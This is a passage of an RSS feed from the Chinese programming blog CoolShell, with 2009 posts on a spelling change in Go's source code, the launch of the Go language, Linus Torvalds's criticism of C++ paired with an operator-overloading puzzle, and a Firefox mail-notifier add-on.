with an e&#8221;，也就是说，他会把creat这个单词拼成<strong>creat</strong><span style=\"color: #ff0000;\"><strong>e</strong><span style=\"color: #000000;\">，而不是creat。为什么是creat呢，这需要我们来看一下creat这个系统调用，你可以在Unix或Linux下简单地<a href=\"http://linux.die.net/man/2/creat\" target=\"_blank\">man creat</a>你就可以知道，这个系统调用连带其某些参数，如：<strong>O_CREAT</strong>，都是一个少了“e”的create。（Unix下的有很多东西都是简写，如：usr，gp，ls，mv，ps，满大街的都是缩写）</span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">看看这个改动的<a href=\"http://code.google.com/p/go/source/diff?spec=svn1f0a01c93d305f1ab636c68b67346659c5b957f7&#038;r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f&#038;format=side&#038;path=/src/pkg/os/file.go&#038;old_path=/src/pkg/os/file.go&#038;old=50a1ee94151635c25ad76816044252af417a45b8\" target=\"_blank\">diff</a>——这个diff只有一行，第65行，抓屏如下（理由同上）</span></span></p>\n<p style=\"text-align: center;\"><span style=\"color: #ff0000;\"><span style=\"color: #000000;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1763\" title=\"spell it with e  diff\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e_diff.jpg\" alt=\"spell it with e  diff\" width=\"487\" height=\"79\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e_diff.jpg 487w, https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e_diff-300x48.jpg 300w\" sizes=\"(max-width: 487px) 100vw, 487px\" /></span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">40年后的今天，Ken Thompson参与Go语言设计，于是，他提交了这个改动，也算是圆了他的愿望，从这点看来，Ken Thompson把Go语言看得和Unix一样重啊。难道Go语言也会像Unix一样成为另一个传奇？（Unix传奇 <a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\" target=\"_blank\">上篇</a>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\" target=\"_blank\">下篇</a>）</span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">（全文完）</span></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li><li ><a href=\"https://coolshell.cn/articles/7771.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282-150x150.jpg\" alt=\"少即是极多\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7771.html\" class=\"wp_rp_title\">少即是极多</a></li><li ><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Go语言的&#8221;Issue 9&#8243; Closed!\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_title\">Go语言的&#8221;Issue 9&#8243; Closed!</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"Go语言更名Issue 9？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_title\">Go语言更名Issue 9？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1761.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 语言：Google 的新编程语言</title>\n\t\t<link>https://coolshell.cn/articles/1751.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1751.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Wed, 11 Nov 2009 10:01:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1751</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google 今天发布了自制的编程语言，叫做Go，官方网站如下： http://golang.org/ 主要参与者名单繁星满天： Ken Thompson (U...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1751.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #ff0000;\">Go</span>ogle 今天发布了自制的编程语言，叫做Go，官方网站如下：</p>\n<ul>\n<li><a href=\"http://golang.org/\">http://golang.org/</a></li>\n</ul>\n<p>主要参与者名单繁星满天：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a> (Unix之父之一&#8230;好拗口)</li>\n<li><a href=\"http://research.google.com/people/r/\">Rob Pike</a> (Unix团队成员, 著书《 <em><a style=\"text-decoration: none; color: #002bb8; background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial;\" title=\"The Practice of Programming\" href=\"http://en.wikipedia.org/wiki/The_Practice_of_Programming\">The Practice of Programming</a></em> 》and《 <em><a style=\"text-decoration: none; color: #002bb8; background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial;\" title=\"The Unix Programming Environment (book)\" href=\"http://en.wikipedia.org/wiki/The_Unix_Programming_Environment_(book)\">The Unix Programming Environment</a></em>》)</li>\n<li>等等</li>\n</ul>\n<p>Logo图标 (一只 <span style=\"color: #ff0000;\">Go</span>pher, 金花鼠，作者 <a style=\"color: #3333cc;\" href=\"http://reneefrench.blogspot.com/\" target=\"_blank\">Renée French</a>)<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"logo-153x55\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/logo-153x55.png\" alt=\"logo-153x55\" width=\"153\" height=\"55\" /></p>\n<p>为什么Google要做自己的编程语言呢？</p>\n<ul>\n<li>快，安全，处理并发 （其余的<a href=\"http://golang.org/doc/go_talk-20091030.pdf\">讲义在此</a>）</li>\n</ul>\n<p>似乎Google内部官方编程语言之战在即&#8230; C, C++, Java, Python, JavaScript, and now <a href=\"http://golang.org/\">Go</a> and <a href=\"http://www.zimbu.org/\">Zimbu</a>(by VIM 的作者)</p>\n<p><a href=\"http://v.youku.com/v_show/id_XMTMxMzIwMTQ4.html\">Go programming language Tech Talk</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Go语言的&#8221;Issue 9&#8243; Closed!\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_title\">Go语言的&#8221;Issue 9&#8243; Closed!</a></li><li ><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"Go语言更名Issue 9？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_title\">Go语言更名Issue 9？</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1751.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>恐怖的C++语言</title>\n\t\t<link>https://coolshell.cn/articles/1724.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1724.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 11 Nov 2009 04:06:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1724</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Linus曾经(2007年9月)在新闻组gmane.comp.version-control.git里和一个微软的工程师（Dmitry Kakurin）争执过用...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1724.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1724.html\">恐怖的C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/cpp.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-1740\" title=\"我爱C++\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/cpp-300x216.jpg\" alt=\"我爱C++\" width=\"200\" height=\"144\" /></a> Linus曾经(2007年9月)在新闻组<a href=\"http://news.gmane.org/gmane.comp.version-control.git\" target=\"_top\">gmane.comp.version-control.git</a>里和一个微软的工程师（Dmitry Kakurin）争执过用C还是用C++，当时的那个微软的工程师主要是在做Git的Windows版，但他却发现Git的源码居然是C语言写的，而不是C++，于是他（Dmitry Kakurin）在Linux社区里发贴表示对Linux的不满，语言很直接：</p>\n<blockquote>\n<p style=\"padding-left: 30px;\">Pure C as opposed to C++. No idea why. Please don&#8217;t talk about portability, it&#8217;s BS. （<span style=\"color: #008000;\">纯C写的，而不是C++，不知道为什么，请别告诉我是为了移植性，这完全是胡扯</span>。）</p>\n</blockquote>\n<p>Linux之父Linus Torvalds马上跟贴，在贴子中，Linus言辞很直接，直接表明C++是一个很恐怖的语言，他在<a href=\"http://thread.gmane.org/gmane.comp.version-control.git/57643/focus=57918\" target=\"_blank\"><strong>贴子</strong></a>中说：</p>\n<blockquote>\n<p style=\"padding-left: 30px;\"><strong>*YOU*</strong> are full of bullshit. C++ is a horrible language. It&#8217;s made more horrible by the fact that a lot of substandard programmers use it. （<span style=\"color: #008000;\">你才是完全在胡扯。C++是一门很恐怖的语言，而比它更恐怖的是很多不合格的程序员在使用着它</span>）</p>\n</blockquote>\n<p>Linus的这个观点我是比较同意的，我个人也在几年前的《<a href=\"http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx\" target=\"_blank\">STL String类的写时才拷贝</a>》以及以后的一些文章中表达过C++的确并不是一个很成熟的语言，这种观点一直都围绕着我。这是因为它的学习成本实在是太高了，编译器和类背着你做了很多你不知道的事，而且，C++非常容易地出错和发生很多意想不到的问题。</p>\n<p>当然，这篇文章并不是要继续声讨C++，也不是回顾以前的某个事件。我们这里只谈技术。昨天，我在网上看到一个邪恶的C++的示例，在这里给大家share一下，让大家看看C++这种编程语言的恐怖和邪恶的一面。下面的这个例子，比那个“#define  private  public”还更加邪恶。</p>\n<p><span id=\"more-1724\"></span></p>\n<p>请看下面这段代码，你能告诉我它会输出什么吗？（注意main函数中高亮的那一行）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"28\">#include &lt;iostream&gt;\n#include &lt;vector&gt;\n\ntypedef int UINT4;\nusing namespace std;\nclass Hack\n{\n};\n\nHack&amp; operator&lt; (Hack &amp;a , Hack &amp;b)\n{\n    std::cerr &lt;&lt; &quot;小于操作符\\n&quot;;\n    return a;\n}\n\nHack&amp; operator&gt; (Hack &amp;a, Hack &amp;b)\n{\n    std::cerr &lt;&lt;  &quot;大于操作符\\n&quot;;\n    return a;\n}\n\nint main(int argc, char ** argv)\n{\n    Hack vector;\n    Hack UINT4;\n    Hack foo;\n\n    vector&lt;UINT4&gt; foo;\n\nreturn(0);\n}</pre>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft\" title=\"不是吧\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/bushiba-150x150.jpg\" alt=\"不是吧\" width=\"98\" height=\"96\" />是的，上面这段代码如果只看main函数中的那句“vector&lt;UINT4&gt; foo”，你会觉得很眼熟，然而，事情并非那么简单，我们可以看到vector, UINT4和foo都是Hack类的实例，这就是邪恶的开始，那两个尖括号&lt; &gt;则成了两个运算符，大于和小于，这两个运算符却又被重载了。其实，真正的语句是：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">vector.operator&lt;(UNIT4).operator&gt;(foo);</code></p>\n<p>所以，所有的一切都符合我们的C++的规范和语法，自然程序也能被顺利编译通过（至少，在我的G++上是没有问题的）。而整个程序的运行结果自然是：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ ./horror\n小于操作符\n大于操作符</pre>\n<p>是的，如果你通晓C++的一切的一切，你自然不会对这段程序感到惊奇。这样的事情在C/C++的世界中并不少见，要搞乱C/C++的代码并不是一件难事，花样多得数不胜数，只要看看《<a title=\"6个变态的C语言Hello World程序 - 4,749 次浏览\" href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a>》你就知道了，而且，还有一个简单的教程《<a title=\"如何加密/混乱C源代码 - 2,420 次浏览\" href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a>》告诉你一些简单的做法。</p>\n<p>那么，如果你有一天在读程序中看到“vector&lt;UINT4&gt; foo”，你会觉得那只是一个幻觉吗？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1724.html\">恐怖的C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1724.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>102</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Firefox插件WebMail Notifier</title>\n\t\t<link>https://coolshell.cn/articles/1714.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1714.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[joe]]></dc:creator>\n\t\t<pubDate>Wed, 11 Nov 2009 03:36:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Firefox]]></category>\n\t\t<category><![CDATA[WebMail Notifier]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1714</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当你的邮箱有新邮件时，WebMail Notifier此插件会自动提醒你。 支持：gmail, yahoo, hotmail, daum, naver, emp...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1714.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>当你的邮箱有新邮件时，WebMail Notifier此插件会自动提醒你。</p>\n<p>支持：gmail, yahoo, hotmail, daum, naver, empas, nate等。</p>\n<div id=\"addon-summary-wrapper\">\n<table border=\"0\" summary=\"附加组件信息\">\n<tbody>\n<tr>\n<td rowspan=\"8\"> <img decoding=\"async\" src=\"https://addons.mozilla.org/en-US/firefox/images/t/15233/1184587092\" alt=\"\" /></td>\n</tr>\n<tr>\n<th>版本</th>\n<td>1.5.3</td>\n</tr>\n<tr>\n<th>兼容版本</th>\n<td>Firefox: 1.5 – 3.7a1pre</td>\n</tr>\n<tr>\n<th>已更新</th>\n<td><span title=\"2009 年 10 月  8 日 08:16\">2009 年 10 月 8 日 </span></td>\n</tr>\n<tr>\n<th>开发者</th>\n<td><a href=\"https://addons.mozilla.org/zh-CN/firefox/user/104093\" target=_blank>Byungwook Kang</a></td>\n</tr>\n<tr>\n<th>主页</th>\n<td><strong><a href=\"http://webmailnotifier.mozdev.org/\" target=_blank>http://webmailnotifier.mozdev.org/</a> </strong></td>\n</tr>\n<tr>\n<th>评分</th>\n<td><span title=\"评分 4 超过了 5 星\">评分 4 超过了 5 星 </span><a href=\"https://addons.mozilla.org/zh-CN/firefox/addon/4490#reviews\" target=_blank><strong>728</strong> 条意见 </a></td>\n</tr>\n<tr>\n<th>下载次数</th>\n<td><strong>3,239,874 </strong></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>查看：<a href=\"https://addons.mozilla.org/zh-CN/firefox/addon/4490\" target=\"_blank\">https://addons.mozilla.org/zh-CN/firefox/addon/4490</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-150x150.jpg\" alt=\"Mozilla的一个BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_title\">Mozilla的一个BUG</a></li><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history-150x150.jpg\" alt=\"一个浏览器市场占有量的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_title\">一个浏览器市场占有量的图</a></li><li ><a href=\"https://coolshell.cn/articles/732.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"Glassfish ESB 的教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/732.html\" class=\"wp_rp_title\">Glassfish ESB 的教程</a></li><li ><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"OSGi和Java企业级运算的未来方向\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_title\">OSGi和Java企业级运算的未来方向</a></li><li ><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1714.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>橡皮鸭程序调试法</title>\n\t\t<link>https://coolshell.cn/articles/1719.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1719.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 10 Nov 2009 10:00:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[Rubber Duck]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1719</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面，让我来为你介绍一个程序调试大法——“橡皮鸭程序调试法”，这个方法在调试界是很出众的，实施起来相当方便和简易，几乎可以随时随地地实验，几乎不需要借助任何的软...</p>\n<p 